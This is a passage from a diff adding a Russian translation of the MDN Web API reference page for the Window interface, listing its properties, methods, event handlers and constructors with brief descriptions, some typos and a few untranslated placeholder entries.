+ <dd>Возвращает ссылку на содержащийся в окне документ.</dd>
+ <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает элемент, в который встроено окно, или null, если оно не встроено.</dd>
+ <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает массив дополнительных фреймов в текущем окне.</dd>
+ <dt>{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}</dt>
+ <dd>Это свойство указывает, отображается ли окно в полноэкранном режиме или нет.</dd>
+ <dt>{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}</dt>
+ <dd>Не поддерживает с Gecko 13 (Firefox 13). Использовать вместо него{{domxref("Window.localStorage")}}. Было: Множественные объекты хранения, которые используются для хранения данных на нескольких страницах.</dd>
+ <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект истории.</dd>
+ <dt>{{domxref("Window.innerHeight")}}</dt>
+ <dd>Получает высоту области содержимого окна браузера, включая, если есть, горизонтальный скроллбар.</dd>
+ <dt>{{domxref("window.innerWidth")}}</dt>
+ <dd>Получает ширину области содержимого окна браузера, включая, если есть, вертикальный скроллбар.</dd>
+ <dt>{{domxref("Window.isSecureContext")}} {{readOnlyInline}}</dt>
+ <dd>Указывает, способен ли контекст использовать функционал, требующий безопасного контекста.</dd>
+ <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает число фреймов в окне. Смотри так же {{domxref("window.frames")}}.</dd>
+ <dt>{{domxref("Window.location")}} {{ReadOnlyInline}}</dt>
+ <dd>Получает/устанавливает расположение или текущий URL для текущего объекта окна.</dd>
+ <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает объект locationbar, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}</dt>
+ <dd>Возвращает ссылку на локальный объект хранилища, используемый для хранения данных, которые могут быть доступны только первоисточникам, создавшим их.</dd>
+ <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает объект menubar, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Возвращает объект <a href="/en-US/docs/The_message_manager">message manager</a> для окна.</dd>
+ <dt>{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Время в миллисекундах с момента начала цикла данной анимации.</dd>
+ <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Возвращает горизонтальную (X) координату верхнего левого угла окна просмотра в экранных координатах. Значение возвращается в CSS-пикселях. Смотри <code>mozScreenPixelsPerCSSPixel</code> в {{interface("nsIDOMWindowUtils")}} для конвертирования и адаптирования к экранным пикселям, если необходимо.</dd>
+ <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Возвращает вертикальные (Y) координаты верхнего левого угла окна просмотра в экранных координатах. Значение возвращается в CSS-пикселях. Смотри <code>mozScreenPixelsPerCSSPixel</code> для конвертирования и адаптирования к экранным пикселям, если необходимо.</dd>
+ <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчета скорости преобразования.</dd>
+ <dt>{{domxref("Window.name")}}</dt>
+ <dd>Получает/устанавливает имя для окна.</dd>
+ <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект навигатора.</dd>
+ <dt>{{domxref("Window.opener")}}</dt>
+ <dd>Возвращает ссылку на окно, открывшее текущее окно.</dd>
+ <dt>{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}</dt>
+ <dd>Возвращает ориентировку в градусах (с увеличением на 90 градусов) окна просмотра относительно настоящей ориентировки устройства.</dd>
+ <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt>
+ <dd>Получает высоту вместе с внешней частью браузерного окна.</dd>
+ <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt>
+ <dd>Получает ширину вместе с внешней частью браузерного окна.</dd>
+ <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt>
+ <dd>Псевдоним для {{domxref("window.scrollX")}}.</dd>
+ <dt>{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}</dt>
+ <dd>Псевдоним для {{domxref("window.scrollY")}}</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект хранения сессии, используемый для хранения данных, которые могут быть получены только источником, создавшим их.</dd>
+ <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает ссылку на родителя текущего окна или встроеного фрейма.</dd>
+ <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt>
+ <dd>Обеспечивает главенствующее пространство для аттрибутов, <a href="/en-US/docs/Navigation_timing">относящихся к производительности</a>.</dd>
+ <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает объект personalbar, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}</dt>
+ <dd>Раньше предоставлял доступ к установке и удалению PKCS11 модуля.</dd>
+ <dt>{{domxref("Window.returnValue")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Возвращаемое значение, которое будет передано в функцию, которая вызвала {{domxref("window.showModalDialog()")}} для отображения окна как модального диалога.</dd>
+ <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект экрана, ассоциируемый с окном.</dd>
+ <dt>{{domxref("Window.screenX")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает горизонтальный размер левой рамки браузера пользователя с левой стороны экрана.</dd>
+ <dt>{{domxref("Window.screenY")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает вертикальный размер верхней рамки браузера пользователя с верхней стороны экрана.</dd>
+ <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает объект scrollbars, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Максимальный отступ, на который может быть проскроллено окно по горизонтали, состоящее из разницы ширины документа и ширины области просмотра.</dd>
+ <dt>{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Максимальный отступ, на который может быть проскроллено окно по вертикали, (т.е., разница высоты документа и высоты области просмотра).</dd>
+ <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает число пикселей, на которое документ уже был проскроллен по горизонтали.</dd>
+ <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает число пикселей, на которое документ уже был проскроллен по вертикали.</dd>
+ <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на самого себя.</dd>
+ <dt>{{domxref("Window.sessionStorage")}} {{Fx_minversion_inline("2.0")}}</dt>
+ <dd>Возвращает объект хранилища для данных в пределах сессии одной страницы.</dd>
+ <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на объект окна sidebar.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает объект {{domxref("SpeechSynthesis")}}, который является точкой входа для использования <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a>, функционала для речевого синтеза.</dd>
+ <dt>{{domxref("Window.status")}}</dt>
+ <dd>Получает/устанавливает тект в statusbar внизу браузера.</dd>
+ <dt>{{domxref("Window.statusbar")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает объект statusbar, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.toolbar")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает объект toolbar, который может быть добавлен и убран из окна.</dd>
+ <dt>{{domxref("Window.top")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает ссылку на самое первое окно в иерархии текущих окон. Только для чтения.</dd>
+ <dt>{{domxref("Window.window")}} {{ReadOnlyInline}}</dt>
+ <dd>Возвращает ссылку на текущее окно.</dd>
+ <dt><code>window[0]</code>,<code> window[1]</code>, etc.</dt>
+ <dd>Возвращает ссылку на объект окна во фреймах. Смотри {{domxref("Window.frames")}}.</dd>
+</dl>
+
+<h3 id="Свойства_реализованные_из_других_мест">Свойства,  реализованные из других мест</h3>
+
+<dl>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}</dt>
+ <dd>Возвращает объект {{domxref("CacheStorage")}}, связанный с текущим контекстом. Этот объект добавляет такой функционал как хранение ресурсов для использования вне сети и генерирования встроенных ответов на запросы.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}</dt>
+ <dd>Обеспечивает механизм для приложений для возможности асинхронного доступа индексированных баз данных; возвращает объект {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}</dt>
+ <dd>Возвращает булеановское занчение, указывающее является ли текущий контент безопасным (<code>true</code>) или нет (<code>false</code>).</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}</dt>
+ <dd>Возаращает источник глобального объекта, преобразованного в строку. (Это свойство пока еще не существует, поэтому не может быть использовано в браузерах.)</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс наследует методы от интерфейса {{domxref("EventTarget")}}  и реализует свойства {{domxref("WindowOrWorkerGlobalScope")}} и {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Window.alert()")}}</dt>
+ <dd>Отображает предупреждающее диалоговое окно.</dd>
+ <dt>{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Возвращается на один шаг назад в истории окна.</dd>
+ <dt>{{domxref("Window.blur()")}}</dt>
+ <dd>Убирает фокус с окна.</dd>
+ <dt>{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}</dt>
+ <dd>Позволяет отменить функцию обратного вызова прежде чем определить расписание ее выозва с {{domxref("Window.requestIdleCallback")}}.</dd>
+ <dt>{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>Регестрирует окно, которое будет перехватывать все события опереденного типа.</dd>
+ <dt>{{domxref("Window.clearImmediate()")}}</dt>
+ <dd>Отменяет повторяющееся исполнение, установленное с помощью <code>setImmediate</code>.</dd>
+ <dt>{{domxref("WindowTimers.clearInterval()")}}</dt>
+ <dd>Отменяет повторяющееся исполнене, установленное с помощью {{domxref("WindowTimers.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowTimers.clearTimeout()")}}</dt>
+ <dd>Отменяет повторяющееся исполнене, установленное с помощью {{domxref("WindowTimers.setTimeout()")}}.</dd>
+ <dt>{{domxref("Window.close()")}}</dt>
+ <dd>Закрывает текущее окно.</dd>
+ <dt>{{domxref("Window.confirm()")}}</dt>
+ <dd>Отображает диалог с сообщением, на которое пользователь должен ответить.</dd>
+ <dt>{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.dispatchEvent()")}}</dt>
+ <dd>Используется для вызова события.</dd>
+ <dt>{{domxref("Window.dump()")}}</dt>
+ <dd>Отправляет сообщение в консоль.</dd>
+ <dt>{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.find()")}}</dt>
+ <dd>Ищет необходимую строку в окне window.</dd>
+ <dt>{{domxref("Window.focus()")}}</dt>
+ <dd>Устанавливает фокус на текущем окне.</dd>
+ <dt>{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Переходит на один документ вперед в текущей истории окна.</dd>
+ <dt>{{domxref("Window.getAttention()")}}</dt>
+ <dd>Заставляет мигать иконку приложения.</dd>
+ <dt>{{domxref("Window.getAttentionWithCycleCount()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.getComputedStyle()")}}</dt>
+ <dd>Получает подсчитанные стили для определенного элемента. Подсичтанные стили включают подсчитанные занчения всех CSS свойств элемента.</dd>
+ <dt>{{domxref("Window.getDefaulComputedStyle()")}}</dt>
+ <dd>Получает подсчитанные стили по умолчанию для определенного элемента, игнорируя авторские стили.</dd>
+ <dt>{{domxref("Window.getSelection()")}}</dt>
+ <dd>Возвращает выбранный объект, представляющий выбранный элемент(ы).</dd>
+ <dt>{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Возаращает браузер на домашнюю страницу.</dd>
+ <dt>{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Возвращает объект {{domxref("MediaQueryList")}}, представляющий указанную строку медиа-запроса.</dd>
+ <dt>{{domxref("Window.maximize()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.minimize()")}} (top-level XUL windows only)</dt>
+ <dd>Минимизирует окно.</dd>
+ <dt>{{domxref("Window.moveBy()")}}</dt>
+ <dd>Сдвигает текущее окно на определенное значение.</dd>
+ <dt>{{domxref("Window.moveTo()")}}</dt>
+ <dd>Сдвигает окно до определенных координат.</dd>
+ <dt>{{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Cообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие  <code>MozBeforePaint,</code> прежде чем произойдет перерисовка .</dd>
+ <dt>{{domxref("Window.open()")}}</dt>
+ <dd>Открывает новое окно.</dd>
+ <dt>{{domxref("Window.openDialog()")}}</dt>
+ <dd>Opens a new dialog window.</dd>
+ <dt>{{domxref("Window.postMessage()")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Предоставляет безопасный способ для одного окна передать строку с данными в другое окно, которое должно находиться в пределах того же домена, что и первое.</dd>
+ <dt>{{domxref("Window.print()")}}</dt>
+ <dd>Открывет Print Dialog для распечатки текущего документа.</dd>
+ <dt>{{domxref("Window.prompt()")}}</dt>
+ <dd>Возвращает текст, введенный пользователем в диалоге подсказки.</dd>
+ <dt>{{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}</dt>
+ <dd>Возвращает окно с захваченных событий определенного типа.</dd>
+ <dt>{{domxref("element.removeEventListener","Window.removeEventListener()")}}</dt>
+ <dd>Удаляет слушателя события из окна.</dd>
+ <dt>{{domxref("Window.requestIdleCallback()")}}  {{experimental_inline}}</dt>
+ <dd>Позволяет назначить раписание задачь во время периода простоя браузера.</dd>
+ <dt>{{domxref("Window.resizeBy()")}}</dt>
+ <dd>Меняет размер текущего окна на определенное число.</dd>
+ <dt>{{domxref("Window.resizeTo()")}}</dt>
+ <dd>Динамически меняет размер окна.</dd>
+ <dt>{{domxref("Window.restore()")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.scroll()")}}</dt>
+ <dd>Scrolls the window to a particular place in the document.</dd>
+ <dt>{{domxref("Window.scrollBy()")}}</dt>
+ <dd>Прокручивает документ в окна на данное число.</dd>
+ <dt>{{domxref("Window.scrollByLines()")}}</dt>
+ <dd>Прокурчивает документ на данное число строк.</dd>
+ <dt>{{domxref("Window.scrollByPages()")}}</dt>
+ <dd>Прокурчивает документ на данное число стараниц.</dd>
+ <dt>{{domxref("Window.scrollTo()")}}</dt>
+ <dd>Прокручивает до заданных координат в документе.</dd>
+ <dt>{{domxref("Window.setCursor()")}}</dt>
+ <dd>Меняет курсор для текущего окна.</dd>
+ <dt>{{domxref("Window.setImmediate()")}}</dt>
+ <dd>Исполняет функцию после того, как браузер некую тяжелую задачу.</dd>
+ <dt>{{domxref("WindowTimers.setInterval()")}}</dt>
+ <dd>Назначает выполнение функции каждые X миллисекунд.</dd>
+ <dt>{{domxref("Window.setResizable")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("WindowTimers.setTimeout()")}}</dt>
+ <dd>Устанавливает отложенное выполнение функции.</dd>
+ <dt>{{domxref("Window.showModalDialog()")}} {{Fx_minversion_inline(3)}}</dt>
+ <dd>Отображает модальный диалог.</dd>
+ <dt>{{domxref("Window.sizeToContent()")}}</dt>
+ <dd>Подгоняет размер окна под его содержимое.</dd>
+ <dt>{{domxref("Window.stop()")}}</dt>
+ <dd>Останавливает загрузку страницы.</dd>
+ <dt>{{domxref("Window.updateCommands()")}}</dt>
+ <dd>Обновляет состояние команд текущего окна chrome (UI).</dd>
+ <dt>
+ <h3 id="Методы_реализованные_из_других_мест">Методы, реализованные из других мест</h3>
+ </dt>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Регестрирует обработчики опреленного типа событий в окне.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.atob()")}}</dt>
+ <dd>Декодирует строку данных, которая была закодирована, используя кодировку base-64.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.btoa()")}}</dt>
+ <dd>Создаеь закодированную base-64 ASCII строку из строки бинарных данных.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</dt>
+ <dd>Отменяет повторяющееся исполнение, установленного с помощью {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}</dt>
+ <dd>Отменяет отложенное исполнение, установленного с   {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}</dt>
+ <dd>Принимает множество различных изображений и возвращает {{domxref("Promise")}}, который возвращает {{domxref("ImageBitmap")}}. Опционально ресурс может быть обрезан до прямоугольника, заданного в пикселях <em>(sx, sy)</em> с шириной sw и высотой sh.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>Начинает процесс загрузки ресурса из сети.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener")}}</dt>
+ <dd>Удаляет слушателя события из окна.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</dt>
+ <dd>Устанавливает раписание для исполнения функции каждый раз через заданное число миллисекунд.</dd>
+ <dt>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</dt>
+ <dd>Устанавливает расписание для исполнения функции в назначенное время.</dd>
+</dl>
+
+<h2 id="Обработчики_событий">Обработчики событий</h2>
+
+<p>Это методы объекта window, которые могут устанавливаться для перехвата всех событий, которые могут происходить с объектом window.</p>
+
+<p>Интерфейс наследует обработчики событий от <em>{{domxref("EventTarget")}} </em>интерфейса и реализует обработчики событий <em>{{domxref("WindowEventHandlers")}}.</em></p>
+
+<div class="note">
+<p><strong>Замета:</strong> Начиная с {{Gecko("9.0")}}, вы можете использовать синтаксис <code>if ("onabort" in window),</code> чтобы определить существует ли обработчик данного события. Интерфейсы обработчиков событий были обновлеы таким образом, чтобы соответсовать web IDL интерфейсам. Смотри <a href="/en-US/docs/DOM/DOM_event_handlers">обработчики собыйти DOM</a> для деталей.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Обработчик события для отмены событий в окне.</dd>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Вызывается, когда закрывается диалоговое окно распечатки. Смотри событие {{event("afterprint")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Вызывается, когда открывается диалоговое окно распечатки. Смотри событие {{event("beforeprint")}}.</dd>
+ <dt>{{domxref("Window.onbeforeinstallprompt")}}</dt>
+ <dd>Событие вызывается прежде чем пользователь согласится сохранить сайт на домашний экран на мобильном устройстве.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Событие вызывается перед удалением события из окна.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Свойство обработчика событий для исчезновение фокуса на окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>Свойство обработчика событий для изменения в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Свойство обработчика событий для клика в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Вызывается, когда был сделан двойной клик ЛЮБОЙ кнопкой мыши.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Свойство обработчика событий для обработки закрытия окна.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Свойство обработчика событий для правого клика в окне.</dd>
+ <dt>{{domxref("Window.ondevicelight")}}</dt>
+ <dd>Свойство обработчика событий для отслеживания изменения уровня света.</dd>
+ <dt>{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Вызывается, если было определено изменение акселерометра (для мобильных устройств).</dd>
+ <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Вызывается, когда была изменена ориентация (для мобильных устройств).</dd>
+ <dt>{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}</dt>
+ <dd>Свойство обработчика событий для смены ориентации любого устройства.</dd>
+ <dt>{{domxref("Window.ondeviceproximity")}}</dt>
+ <dd>Свойство обработчика событий для определения близости устройства.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("error")}}, возникшего в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("focus")}} в окне.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}</dt>
+ <dd>Свойство обработчика событий для отлова изменения хэша в окне; вызывается, когда часть URL после ("#") была изменена.</dd>
+ <dt>{{domxref("Window.onappinstalled")}}</dt>
+ <dd>Вызывается, когда страница установлена, как приложение. Смотри {{event('appinstalled')}} событие.</dd>
+ <dt>{{domxref("Window.oninput")}}</dt>
+ <dd>Вызывается, когда значение элемента &lt;input&gt; было изменено.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("keydown")}} в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("keypress")}} в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("keyup")}} в окне.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}}</dt>
+ <dd>Свойство обработчика событий для события {{event("languagechange")}} в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Свойство обработчика событий для загрузки окна.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>{{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("message")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Свойство обработчика событий для события mousedownв окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Свойство обработчика событий для события mousemove в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Свойство обработчика событий для события mouseout в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Свойство обработчика событий для события mouseover в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Свойство обработчика событий для события mouseup в окне.</dd>
+ <dt>{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Свойство обработчика событий для события <code>MozBeforePaint</code>, которое присылается прежде чем окно будет перерисовано, если событие необходимо из-за вызова метода {{domxref("Window.mozRequestAnimationFrame()")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Вызывается, когда было потеряно соединение с сетью. Смотри событие {{event("offline")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Вызывается, когда соединение с сетью было установлено. Смотри событие {{event("online")}}.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Свойство обработчика событий для события pageshow в окне.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Свойство обработчика событий для события pagehide в окне.</dd>
+ <dt>{{domxref("Window.onpaint")}}</dt>
+ <dd>Свойство обработчика событий для события paint в окне.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>Вызывается, когда была нажата кнопка назад.</dd>
+ <dt>{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}</dt>
+ <dd>Свойство обработчика событий для обработки отказа события {{jsxref("Promise")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Свойство обработчика событий для события reset в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onresize")}}</dt>
+ <dd>Свойство обработчика событий для изменения размера окна.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Свойство обработчика событий для прокрутки окна.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onwheel")}}</dt>
+ <dd>Вызывается, когда ыло прокручено колесико мыши в любую сторону.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Свойство обработчика событий для события выбора в окне.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>{{domxref("EventHandler")}}, представлющий собой код, который будет вызван, когда проихойдет событие {{event("selectionchange")}}.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Свойство обработчика событий для события submits в окне формы.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}</dt>
+ <dd>Свойство обработчика событий для отвязки обработчика отказа события {{jsxref("Promise")}}.</dd>
+ <dt>{{domxref("Window.onunload")}}</dt>
+ <dd>Свойство обработчика событий для события unload в окне.</dd>
+ <dt>{{domxref("Window.onuserproximity")}}</dt>
+ <dd>Свойство обработчика событий для события изменения близости пользоватя к устройству.</dd>
+ <dt>{{domxref("Window.onvrdisplayconnected")}} {{experimental_inline}}</dt>
+ <dd>Представляет обработчик события, который будет запущен, когда подходящее устройство виртуальной реальности было присоединено к компьютеру (когда запускается событие {{event("vrdisplayconnected")}}).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnected")}} {{experimental_inline}}</dt>
+ <dd>Представляет обработчик события, который будет запущен, когда подходящее устройство виртуальной реальности было отсоединено от компьютера (когда запускается событие {{event("vrdisplaydisconnected")}}).</dd>
+ <dt>{{domxref("Window.onvrdisplaypresentchange")}} {{experimental_inline}}</dt>
+ <dd>Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдет от  представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).</dd>
+</dl>
+
+<h2 id="Конструкторы">Конструкторы</h2>
+
+<p>Смотри так же <a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">DOM Interfaces</a>.</p>
+
+<dl>
+ <dt>{{domxref("Window.ConstantSourceNode")}}</dt>
+ <dd>Создает экземпляр {{domxref("ConstantSourceNode")}}</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Window.DOMParser")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.GeckoActiveXObject")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Image")}}</dt>
+ <dd>Создает {{domxref("HTMLImageElement")}}.</dd>
+ <dt>{{domxref("Option")}}</dt>
+ <dd>Создает {{domxref("HTMLOptionElement")}}</dd>
+ <dt>{{domxref("Window.QueryInterface")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Window.XMLSerializer")}}</dt>
+ <dd>{{todo("NeedsContents")}}</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>Используется для создания  <a href="/en-US/docs/DOM/Using_web_workers">Web worker</a></dd>
